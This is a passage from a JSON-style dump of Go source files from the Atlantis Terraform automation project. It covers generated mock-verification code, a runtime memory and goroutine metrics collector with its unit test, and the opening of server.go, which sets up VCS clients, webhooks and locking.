invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockJob) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJob {\n\treturn &VerifierMockJob{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockJob) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJob {\n\treturn &VerifierMockJob{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockJob struct {\n\tmock                   *MockJob\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockJob) Run() *MockJob_Run_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockJob_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockJob_Run_OngoingVerification struct {\n\tmock              *MockJob\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockJob_Run_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockJob_Run_OngoingVerification) GetAllCapturedArguments() {\n}\n"
  },
  {
    "path": "server/scheduled/runtime_stats.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage scheduled\n\nimport (\n\t\"runtime\"\n\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\ntype RuntimeStatCollector struct {\n\truntimeMetrics runtimeMetrics\n}\n\ntype runtimeMetrics struct {\n\tcpuGoroutines tally.Gauge\n\tcpuCgoCalls   tally.Gauge\n\n\tmemoryAlloc   tally.Gauge\n\tmemoryTotal   tally.Gauge\n\tmemorySys     tally.Gauge\n\tmemoryLookups tally.Gauge\n\tmemoryMalloc  tally.Gauge\n\tmemoryFrees   tally.Gauge\n\n\tmemoryHeapAlloc    tally.Gauge\n\tmemoryHeapSys      tally.Gauge\n\tmemoryHeapIdle     tally.Gauge\n\tmemoryHeapInuse    tally.Gauge\n\tmemoryHeapReleased tally.Gauge\n\tmemoryHeapObjects  tally.Gauge\n\n\tmemoryStackInuse       tally.Gauge\n\tmemoryStackSys         tally.Gauge\n\tmemoryStackMSpanInuse  tally.Gauge\n\tmemoryStackMSpanSys    tally.Gauge\n\tmemoryStackMCacheInuse tally.Gauge\n\tmemoryStackMCacheSys   tally.Gauge\n\n\tmemoryOtherSys tally.Gauge\n\n\tmemoryGCSys        tally.Gauge\n\tmemoryGCNext       tally.Gauge\n\tmemoryGCLast       tally.Gauge\n\tmemoryGCPauseTotal tally.Gauge\n\tmemoryGCCount      tally.Gauge\n}\n\nfunc NewRuntimeStats(scope tally.Scope) *RuntimeStatCollector {\n\truntimeScope := scope.SubScope(\"runtime\")\n\tcpuScope := runtimeScope.SubScope(\"cpu\")\n\tmemoryScope := runtimeScope.SubScope(\"memory\")\n\theapScope := memoryScope.SubScope(\"heap\")\n\tstackScope := memoryScope.SubScope(\"stack\")\n\tgcScope := memoryScope.SubScope(\"gc\")\n\truntimeMetrics := runtimeMetrics{\n\t\t// cpu\n\t\tcpuGoroutines: cpuScope.Gauge(\"goroutines\"),\n\t\tcpuCgoCalls:   cpuScope.Gauge(\"cgo_calls\"),\n\t\t// memory\n\t\tmemoryAlloc:   memoryScope.Gauge(\"alloc\"),\n\t\tmemoryTotal:   memoryScope.Gauge(\"total\"),\n\t\tmemorySys:     memoryScope.Gauge(\"sys\"),\n\t\tmemoryLookups: memoryScope.Gauge(\"lookups\"),\n\t\tmemoryMalloc:  memoryScope.Gauge(\"malloc\"),\n\t\tmemoryFrees:   memoryScope.Gauge(\"frees\"),\n\t\t// heap\n\t\tmemoryHeapAlloc:    heapScope.Gauge(\"alloc\"),\n\t\tmemoryHeapSys:      heapScope.Gauge(\"sys\"),\n\t\tmemoryHeapIdle:     heapScope.Gauge(\"idle\"),\n\t\tmemoryHeapInuse:    heapScope.Gauge(\"inuse\"),\n\t\tmemoryHeapReleased: heapScope.Gauge(\"released\"),\n\t\tmemoryHeapObjects:  heapScope.Gauge(\"objects\"),\n\t\t// stack\n\t\tmemoryStackInuse:       stackScope.Gauge(\"inuse\"),\n\t\tmemoryStackSys:         stackScope.Gauge(\"sys\"),\n\t\tmemoryStackMSpanInuse:  stackScope.Gauge(\"mspan_inuse\"),\n\t\tmemoryStackMSpanSys:    stackScope.Gauge(\"sys\"),\n\t\tmemoryStackMCacheInuse: stackScope.Gauge(\"mcache_inuse\"),\n\t\tmemoryStackMCacheSys:   stackScope.Gauge(\"mcache_sys\"),\n\t\tmemoryOtherSys:         memoryScope.Gauge(\"othersys\"),\n\t\t// GC\n\t\tmemoryGCSys:        gcScope.Gauge(\"sys\"),\n\t\tmemoryGCNext:       gcScope.Gauge(\"next\"),\n\t\tmemoryGCLast:       gcScope.Gauge(\"last\"),\n\t\tmemoryGCPauseTotal: gcScope.Gauge(\"pause_total\"),\n\t\tmemoryGCCount:      gcScope.Gauge(\"count\"),\n\t}\n\n\treturn &RuntimeStatCollector{\n\t\truntimeMetrics: runtimeMetrics,\n\t}\n}\n\nfunc (r *RuntimeStatCollector) Run() {\n\t// cpu stats\n\tr.runtimeMetrics.cpuGoroutines.Update(float64(runtime.NumGoroutine()))\n\tr.runtimeMetrics.cpuCgoCalls.Update(float64(runtime.NumCgoCall()))\n\n\tvar memStats runtime.MemStats\n\truntime.ReadMemStats(&memStats)\n\n\t// general\n\tr.runtimeMetrics.memoryAlloc.Update(float64(memStats.Alloc))\n\tr.runtimeMetrics.memoryTotal.Update(float64(memStats.TotalAlloc))\n\tr.runtimeMetrics.memorySys.Update(float64(memStats.Sys))\n\tr.runtimeMetrics.memoryLookups.Update(float64(memStats.Lookups))\n\tr.runtimeMetrics.memoryMalloc.Update(float64(memStats.Mallocs))\n\tr.runtimeMetrics.memoryFrees.Update(float64(memStats.Frees))\n\n\t// heap\n\tr.runtimeMetrics.memoryHeapAlloc.Update(float64(memStats.HeapAlloc))\n\tr.runtimeMetrics.memoryHeapSys.Update(float64(memStats.HeapSys))\n\tr.runtimeMetrics.memoryHeapIdle.Update(float64(memStats.HeapIdle))\n\tr.runtimeMetrics.memoryHeapInuse.Update(float64(memStats.HeapInuse))\n\tr.runtimeMetrics.memoryHeapReleased.Update(float64(memStats.HeapReleased))\n\tr.runtimeMetrics.memoryHeapObjects.Update(float64(memStats.HeapObjects))\n\n\t// stack\n\tr.runtimeMetrics.memoryStackInuse.Update(float64(memStats.StackInuse))\n\tr.runtimeMetrics.memoryStackSys.Update(float64(memStats.StackSys))\n\tr.runtimeMetrics.memoryStackMSpanInuse.Update(float64(memStats.MSpanInuse))\n\tr.runtimeMetrics.memoryStackMSpanSys.Update(float64(memStats.MSpanSys))\n\tr.runtimeMetrics.memoryStackMCacheInuse.Update(float64(memStats.MCacheInuse))\n\tr.runtimeMetrics.memoryStackMCacheSys.Update(float64(memStats.MCacheSys))\n\tr.runtimeMetrics.memoryOtherSys.Update(float64(memStats.OtherSys))\n\n\t// GC\n\tr.runtimeMetrics.memoryGCSys.Update(float64(memStats.GCSys))\n\tr.runtimeMetrics.memoryGCNext.Update(float64(memStats.NextGC))\n\tr.runtimeMetrics.memoryGCLast.Update(float64(memStats.LastGC))\n\tr.runtimeMetrics.memoryGCPauseTotal.Update(float64(memStats.PauseTotalNs))\n\tr.runtimeMetrics.memoryGCCount.Update(float64(memStats.NumGC))\n\n}\n"
  },
  {
    "path": "server/scheduled/runtime_stats_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage scheduled\n\nimport (\n\t\"testing\"\n\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\nfunc TestRuntimeStatCollector_Run(t *testing.T) {\n\tscope := tally.NewTestScope(\"test\", nil)\n\tr := NewRuntimeStats(scope)\n\tr.Run()\n\n\texpGaugeCount := 25\n\tif len(scope.Snapshot().Gauges()) != expGaugeCount {\n\t\tt.Errorf(\"Expected %d gauges but got %d\", expGaugeCount, len(scope.Snapshot().Gauges()))\n\t}\n}\n"
  },
  {
    "path": "server/server.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\n// Package server handles the web server and executing commands that come in\n// via webhooks.\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"embed\"\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/pprof\"\n\t\"net/url\"\n\t\"os\"\n\t\"os/signal\"\n\t\"path/filepath\"\n\t\"slices\"\n\t\"sort\"\n\t\"strings\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/go-playground/validator/v10\"\n\t\"github.com/mitchellh/go-homedir\"\n\ttally \"github.com/uber-go/tally/v4\"\n\tprometheus \"github.com/uber-go/tally/v4/prometheus\"\n\t\"github.com/urfave/negroni/v3\"\n\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\tcfg \"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/core/redis\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/tfclient\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\t\"github.com/runatlantis/atlantis/server/scheduled\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/runatlantis/atlantis/server/controllers\"\n\tevents_controllers \"github.com/runatlantis/atlantis/server/controllers/events\"\n\t\"github.com/runatlantis/atlantis/server/controllers/web_templates\"\n\t\"github.com/runatlantis/atlantis/server/controllers/websocket\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/policy\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/azuredevops\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/gitea\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/gitlab\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nconst (\n\t// LockViewRouteName is the named route in mux.Router for the lock view.\n\t// The route can be retrieved by this name, ex:\n\t//   mux.Router.Get(LockViewRouteName)\n\tLockViewRouteName = \"lock-detail\"\n\t// LockViewRouteIDQueryParam is the query parameter needed to construct the lock view\n\t// route. ex:\n\t//   mux.Router.Get(LockViewRouteName).URL(LockViewRouteIDQueryParam, \"my id\")\n\tLockViewRouteIDQueryParam = \"id\"\n\t// ProjectJobsViewRouteName is the named route in mux.Router for the log stream view.\n\tProjectJobsViewRouteName = \"project-jobs-detail\"\n\t// binDirName is the name of the directory inside our data dir where\n\t// we download binaries.\n\tBinDirName = \"bin\"\n\t// terraformPluginCacheDir is the name of the dir inside our data dir\n\t// where we tell terraform to cache plugins and modules.\n\tTerraformPluginCacheDirName = \"plugin-cache\"\n)\n\n// Server runs the Atlantis web server.\ntype Server struct {\n\tAtlantisVersion                string\n\tAtlantisURL                    *url.URL\n\tRouter                         *mux.Router\n\tPort                           int\n\tPostWorkflowHooksCommandRunner *events.DefaultPostWorkflowHooksCommandRunner\n\tPreWorkflowHooksCommandRunner  *events.DefaultPreWorkflowHooksCommandRunner\n\tCommandRunner                  *events.DefaultCommandRunner\n\tLogger                         logging.SimpleLogging\n\tStatsScope                     tally.Scope\n\tStatsReporter                  tally.BaseStatsReporter\n\tStatsCloser                    io.Closer\n\tLocker                         locking.Locker\n\tApplyLocker                    locking.ApplyLocker\n\tVCSEventsController            *events_controllers.VCSEventsController\n\tGithubAppController            *controllers.GithubAppController\n\tLocksController                *controllers.LocksController\n\tStatusController               *controllers.StatusController\n\tJobsController                 *controllers.JobsController\n\tAPIController                  *controllers.APIController\n\tIndexTemplate                  web_templates.TemplateWriter\n\tLockDetailTemplate             web_templates.TemplateWriter\n\tProjectJobsTemplate            web_templates.TemplateWriter\n\tProjectJobsErrorTemplate       web_templates.TemplateWriter\n\tSSLCertFile                    string\n\tSSLKeyFile                     string\n\tCertLastRefreshTime            time.Time\n\tKeyLastRefreshTime             time.Time\n\tSSLCert                        *tls.Certificate\n\tDrainer                        *events.Drainer\n\tWebAuthentication              bool\n\tWebUsername                    string\n\tWebPassword                    string\n\tProjectCmdOutputHandler        jobs.ProjectCommandOutputHandler\n\tScheduledExecutorService       *scheduled.ExecutorService\n\tDisableGlobalApplyLock         bool\n\tEnableProfilingAPI             bool\n\tdatabase                       db.Database\n}\n\n// Config holds config for server that isn't passed in by the user.\ntype Config struct {\n\tAllowForkPRsFlag          string\n\tAtlantisURLFlag           string\n\tAtlantisVersion           string\n\tDefaultTFDistributionFlag string\n\tDefaultTFVersionFlag      string\n\tRepoConfigJSONFlag        string\n\tSilenceForkPRErrorsFlag   string\n}\n\n// WebhookConfig is nested within UserConfig. It's used to configure webhooks.\ntype WebhookConfig struct {\n\t// Event is the type of event we should send this webhook for, ex. apply.\n\tEvent string `mapstructure:\"event\"`\n\t// WorkspaceRegex is a regex that is used to match against the workspace\n\t// that is being modified for this event. If the regex matches, we'll\n\t// send the webhook, ex. \"production.*\".\n\tWorkspaceRegex string `mapstructure:\"workspace-regex\"`\n\t// BranchRegex is a regex that is used to match against the base branch\n\t// that is being modified for this event. If the regex matches, we'll\n\t// send the webhook, ex. \"main.*\".\n\tBranchRegex string `mapstructure:\"branch-regex\"`\n\t// Kind is the type of webhook we should send, ex. slack or http.\n\tKind string `mapstructure:\"kind\"`\n\t// Channel is the channel to send this webhook to. It only applies to\n\t// slack webhooks. Should be without '#'.\n\tChannel string `mapstructure:\"channel\"`\n\t// URL is the URL where to deliver this webhook. It only applies to\n\t// http webhooks.\n\tURL string `mapstructure:\"url\"`\n}\n\n//go:embed static\nvar staticAssets embed.FS\n\n// NewServer returns a new server. If there are issues starting the server or\n// its dependencies an error will be returned. This is like the main() function\n// for the server CLI command because it injects all the dependencies.\nfunc NewServer(userConfig UserConfig, config Config) (*Server, error) {\n\tlogging.SuppressDefaultLogging()\n\tlogger, err := logging.NewStructuredLoggerFromLevel(userConfig.ToLogLevel())\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar supportedVCSHosts []models.VCSHostType\n\tvar githubClient github.IGithubClient\n\tvar githubAppEnabled bool\n\tvar githubConfig github.Config\n\tvar githubCredentials github.Credentials\n\tvar gitlabClient *gitlab.Client\n\tvar bitbucketCloudClient *bitbucketcloud.Client\n\tvar bitbucketServerClient *bitbucketserver.Client\n\tvar azuredevopsClient *azuredevops.Client\n\tvar giteaClient *gitea.Client\n\n\tpolicyChecksEnabled := false\n\tif userConfig.EnablePolicyChecksFlag {\n\t\tlogger.Info(\"Policy Checks are enabled\")\n\t\tpolicyChecksEnabled = true\n\t}\n\n\tallowCommands, err := userConfig.ToAllowCommandNames()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdisableApply := !slices.Contains(allowCommands, command.Apply)\n\n\tparserValidator := &cfg.ParserValidator{}\n\n\tglobalCfg := valid.NewGlobalCfgFromArgs(\n\t\tvalid.GlobalCfgArgs{\n\t\t\tPolicyCheckEnabled: userConfig.EnablePolicyChecksFlag,\n\t\t})\n\tif userConfig.RepoConfig != \"\" {\n\t\tglobalCfg, err = parserValidator.ParseGlobalCfg(userConfig.RepoConfig, globalCfg)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing %s file: %w\", userConfig.RepoConfig, err)\n\t\t}\n\t} else if userConfig.RepoConfigJSON != \"\" {\n\t\tglobalCfg, err = parserValidator.ParseGlobalCfgJSON(userConfig.RepoConfigJSON, globalCfg)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing --%s: %w\", config.RepoConfigJSONFlag, err)\n\t\t}\n\t}\n\n\tstatsScope, statsReporter, closer, err := metrics.NewScope(globalCfg.Metrics, logger, userConfig.StatsNamespace)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"instantiating metrics scope: %w\", err)\n\t}\n\n\tif userConfig.GithubUser != \"\" || userConfig.GithubAppID != 0 {\n\t\tif userConfig.GithubAllowMergeableBypassApply {\n\t\t\tgithubConfig = github.Config{\n\t\t\t\tAllowMergeableBypassApply: true,\n\t\t\t}\n\t\t}\n\t\tsupportedVCSHosts = append(supportedVCSHosts, models.Github)\n\t\tif userConfig.GithubUser != \"\" {\n\t\t\tgithubCredentials = &github.UserCredentials{\n\t\t\t\tUser:      userConfig.GithubUser,\n\t\t\t\tToken:     userConfig.GithubToken,\n\t\t\t\tTokenFile: userConfig.GithubTokenFile,\n\t\t\t}\n\t\t} else if userConfig.GithubAppID != 0 && userConfig.GithubAppKeyFile != \"\" {\n\t\t\tprivateKey, err := os.ReadFile(userConfig.GithubAppKeyFile)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tgithubCredentials = &github.AppCredentials{\n\t\t\t\tAppID:          userConfig.GithubAppID,\n\t\t\t\tInstallationID: userConfig.GithubAppInstallationID,\n\t\t\t\tKey:            privateKey,\n\t\t\t\tHostname:       userConfig.GithubHostname,\n\t\t\t\tAppSlug:        userConfig.GithubAppSlug,\n\t\t\t}\n\t\t\tgithubAppEnabled = true\n\t\t} else if userConfig.GithubAppID != 0 && userConfig.GithubAppKey != \"\" {\n\t\t\tgithubCredentials = &github.AppCredentials{\n\t\t\t\tAppID:          userConfig.GithubAppID,\n\t\t\t\tInstallationID: userConfig.GithubAppInstallationID,\n\t\t\t\tKey:            []byte(userConfig.GithubAppKey),\n\t\t\t\tHostname:       userConfig.GithubHostname,\n\t\t\t\tAppSlug:        userConfig.GithubAppSlug,\n\t\t\t}\n\t\t\tgithubAppEnabled = true\n\t\t}\n\n\t\tvar err error\n\t\trawGithubClient, err := github.New(userConfig.GithubHostname, githubCredentials, githubConfig, userConfig.MaxCommentsPerCommand, logger)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tgithubClient = github.NewInstrumentedGithubClient(rawGithubClient, statsScope, logger)\n\t}\n\tif userConfig.GitlabUser != \"\" {\n\t\tsupportedVCSHosts = append(supportedVCSHosts, models.Gitlab)\n\t\tvar err error\n\n\t\tgitlabGroupAllowlistChecker, err := command.NewTeamAllowlistChecker(userConfig.GitlabGroupAllowlist)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tgitlabGroups := slices.Concat(gitlabGroupAllowlistChecker.AllTeams(), globalCfg.PolicySets.AllTeams())\n\t\tslices.Sort(gitlabGroups)\n\t\tgitlabClient, err = gitlab.New(userConfig.GitlabHostname, userConfig.GitlabToken, slices.Compact(gitlabGroups), logger)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tgitlabClient.StatusRetryEnabled = userConfig.GitlabStatusRetryEnabled\n\t}\n\tif userConfig.BitbucketUser != \"\" {\n\t\tif userConfig.BitbucketBaseURL == bitbucketcloud.BaseURL {\n\t\t\tsupportedVCSHosts = append(supportedVCSHosts, models.BitbucketCloud)\n\t\t\tbitbucketCloudClient = bitbucketcloud.New(\n\t\t\t\thttp.DefaultClient,\n\t\t\t\tuserConfig.BitbucketUser,\n\t\t\t\tuserConfig.BitbucketToken,\n\t\t\t\tuserConfig.BitbucketApiUser,\n\t\t\t\tuserConfig.AtlantisURL)\n\t\t} else {\n\t\t\tsupportedVCSHosts = append(supportedVCSHosts, models.BitbucketServer)\n\t\t\tvar err error\n\t\t\tbitbucketServerClient, err = bitbucketserver.NewClient(\n\t\t\t\thttp.DefaultClient,\n\t\t\t\tuserConfig.BitbucketUser,\n\t\t\t\tuserConfig.BitbucketToken,\n\t\t\t\tuserConfig.BitbucketBaseURL,\n\t\t\t\tuserConfig.AtlantisURL)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"setting up Bitbucket Server client: %w\", err)\n\t\t\t}\n\t\t}\n\t}\n\tif userConfig.AzureDevopsUser != \"\" {\n\t\tsupportedVCSHosts = append(supportedVCSHosts, models.AzureDevops)\n\n\t\tvar err error\n\t\tazuredevopsClient, err = azuredevops.New(userConfig.AzureDevOpsHostname, userConfig.AzureDevopsUser, userConfig.AzureDevopsToken)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif userConfig.GiteaToken != \"\" {\n\t\tsupportedVCSHosts = append(supportedVCSHosts, models.Gitea)\n\n\t\tgiteaClient, err = gitea.New(userConfig.GiteaBaseURL, userConfig.GiteaUser, userConfig.GiteaToken, userConfig.GiteaPageSize, logger)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error setting up gitea client\", \"error\", err)\n\t\t\treturn nil, fmt.Errorf(\"setting up Gitea client: %w\", err)\n\t\t} else {\n\t\t\tlogger.Info(\"gitea client configured successfully\")\n\t\t}\n\t}\n\n\tvar supportedVCSHostsStr []string\n\tfor _, host := range supportedVCSHosts {\n\t\tsupportedVCSHostsStr = append(supportedVCSHostsStr, host.String())\n\t}\n\n\tlogger.Info(\"Supported VCS Hosts: %s\", strings.Join(supportedVCSHostsStr, \", \"))\n\n\thome, err := homedir.Dir()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"getting home dir to write ~/.git-credentials file: %w\", err)\n\t}\n\n\tif userConfig.WriteGitCreds {\n\t\tif userConfig.GithubUser != \"\" {\n\t\t\tif err := common.WriteGitCreds(userConfig.GithubUser, userConfig.GithubToken, userConfig.GithubHostname, home, logger, false); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tif userConfig.GitlabUser != \"\" {\n\t\t\tif err := common.WriteGitCreds(userConfig.GitlabUser, userConfig.GitlabToken, userConfig.GitlabHostname, home, logger, false); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tif userConfig.BitbucketUser != \"\" {\n\t\t\t// The default BitbucketBaseURL is https://api.bitbucket.org which can't actually be used for git\n\t\t\t// so we override it here only if it's that to be bitbucket.org\n\t\t\tbitbucketBaseURL := userConfig.BitbucketBaseURL\n\t\t\tif bitbucketBaseURL == \"https://api.bitbucket.org\" {\n\t\t\t\tbitbucketBaseURL = \"bitbucket.org\"\n\t\t\t}\n\t\t\tif err := common.WriteGitCreds(userConfig.BitbucketUser, userConfig.BitbucketToken, bitbucketBaseURL, home, logger, false); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tif userConfig.AzureDevopsUser != \"\" {\n\t\t\tif err := common.WriteGitCreds(userConfig.AzureDevopsUser, userConfig.AzureDevopsToken, \"dev.azure.com\", home, logger, false); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tif userConfig.GiteaUser != \"\" {\n\t\t\tif err := common.WriteGitCreds(userConfig.GiteaUser, userConfig.GiteaToken, userConfig.GiteaBaseURL, home, logger, false); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\t// default the project files used to generate the module index to the autoplan-file-list if autoplan-modules is true\n\t// but no files are specified\n\tif userConfig.AutoplanModules && userConfig.AutoplanModulesFromProjects == \"\" {\n\t\tuserConfig.AutoplanModulesFromProjects = userConfig.AutoplanFileList\n\t}\n\n\tvar webhooksConfig []webhooks.Config\n\tfor _, c := range userConfig.Webhooks {\n\t\tconfig := webhooks.Config{\n\t\t\tChannel:        c.Channel,\n\t\t\tBranchRegex:    c.BranchRegex,\n\t\t\tEvent:          c.Event,\n\t\t\tKind:           c.Kind,\n\t\t\tWorkspaceRegex: c.WorkspaceRegex,\n\t\t\tURL:            c.URL,\n\t\t}\n\t\twebhooksConfig = append(webhooksConfig, config)\n\t}\n\twebhookHeaders, err := userConfig.ToWebhookHttpHeaders()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing webhook http headers: %w\", err)\n\t}\n\twebhooksManager, err := webhooks.NewMultiWebhookSender(\n\t\twebhooksConfig,\n\t\twebhooks.Clients{\n\t\t\tSlack: webhooks.NewSlackClient(userConfig.SlackToken),\n\t\t\tHttp:  &webhooks.HttpClient{Client: http.DefaultClient, Headers: webhookHeaders},\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"initializing webhooks: %w\", err)\n\t}\n\tvcsClient := vcs.NewClientProxy(githubClient, gitlabClient, bitbucketCloudClient, bitbucketServerClient, azuredevopsClient, giteaClient)\n\tcommitStatusUpdater := &events.DefaultCommitStatusUpdater{Client: vcsClient, StatusName: userConfig.VCSStatusName}\n\n\tbinDir, err := mkSubDir(userConfig.DataDir, BinDirName)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcacheDir, err := mkSubDir(userConfig.DataDir, TerraformPluginCacheDirName)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparsedURL, err := ParseAtlantisURL(userConfig.AtlantisURL)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing --%s flag %q: %w\", config.AtlantisURLFlag, userConfig.AtlantisURL, err)\n\t}\n\n\tunderlyingRouter := mux.NewRouter()\n\trouter := &Router{\n\t\tAtlantisURL:               parsedURL,\n\t\tLockViewRouteIDQueryParam: LockViewRouteIDQueryParam,\n\t\tLockViewRouteName:         LockViewRouteName,\n\t\tProjectJobsViewRouteName:  ProjectJobsViewRouteName,\n\t\tUnderlying:                underlyingRouter,\n\t}\n\n\tvar projectCmdOutputHandler jobs.ProjectCommandOutputHandler\n\n\tif userConfig.TFEToken != \"\" && !userConfig.TFELocalExecutionMode {\n\t\t// When TFE is enabled and using remote execution mode log streaming is not necessary.\n\t\tprojectCmdOutputHandler = &jobs.NoopProjectOutputHandler{}\n\t} else {\n\t\tprojectCmdOutput := make(chan *jobs.ProjectCmdOutputLine)\n\t\tprojectCmdOutputHandler = jobs.NewAsyncProjectCommandOutputHandler(\n\t\t\tprojectCmdOutput,\n\t\t\tlogger,\n\t\t)\n\t}\n\n\tdistribution := terraform.NewDistribution(userConfig.DefaultTFDistribution)\n\n\tterraformClient, err := tfclient.NewClient(\n\t\tlogger,\n\t\tdistribution,\n\t\tbinDir,\n\t\tcacheDir,\n\t\tuserConfig.TFEToken,\n\t\tuserConfig.TFEHostname,\n\t\tuserConfig.DefaultTFVersion,\n\t\tconfig.DefaultTFVersionFlag,\n\t\tuserConfig.TFDownloadURL,\n\t\tuserConfig.TFDownload,\n\t\tuserConfig.UseTFPluginCache,\n\t\tprojectCmdOutputHandler)\n\t// The flag.Lookup call is to detect if we're running in a unit test. If we\n\t// are, then we don't error out because we don't have/want terraform\n\t// installed on our CI system where the unit tests run.\n\tif err != nil && flag.Lookup(\"test.v\") == nil {\n\t\treturn nil, fmt.Errorf(\"initializing %s: %w\", userConfig.DefaultTFDistribution, err)\n\t}\n\tmarkdownRenderer := events.NewMarkdownRenderer(\n\t\tgitlabClient.SupportsCommonMark(),\n\t\tuserConfig.DisableApplyAll,\n\t\tdisableApply,\n\t\tuserConfig.DisableMarkdownFolding,\n\t\tuserConfig.DisableRepoLocking,\n\t\tuserConfig.EnableDiffMarkdownFormat,\n\t\tuserConfig.MarkdownTemplateOverridesDir,\n\t\tuserConfig.ExecutableName,\n\t\tuserConfig.HideUnchangedPlanComments,\n\t\tuserConfig.QuietPolicyChecks,\n\t)\n\n\tvar lockingClient locking.Locker\n\tvar applyLockingClient locking.ApplyLocker\n\tvar database db.Database\n\n\tswitch dbtype := userConfig.LockingDBType; dbtype {\n\tcase \"redis\":\n\t\tlogger.Info(\"Utilizing Redis DB\")\n\t\tdatabase, err = redis.New(userConfig.RedisHost, userConfig.RedisPort, userConfig.RedisPassword, userConfig.RedisTLSEnabled, userConfig.RedisInsecureSkipVerify, userConfig.RedisDB)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\tcase \"boltdb\":\n\t\tlogger.Info(\"Utilizing BoltDB\")\n\t\tdatabase, err = boltdb.New(userConfig.DataDir)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnoOpLocker := locking.NewNoOpLocker()\n\tif userConfig.DisableRepoLocking {\n\t\tlogger.Info(\"Repo Locking is disabled\")\n\t\tlockingClient = noOpLocker\n\t} else {\n\t\tlockingClient = 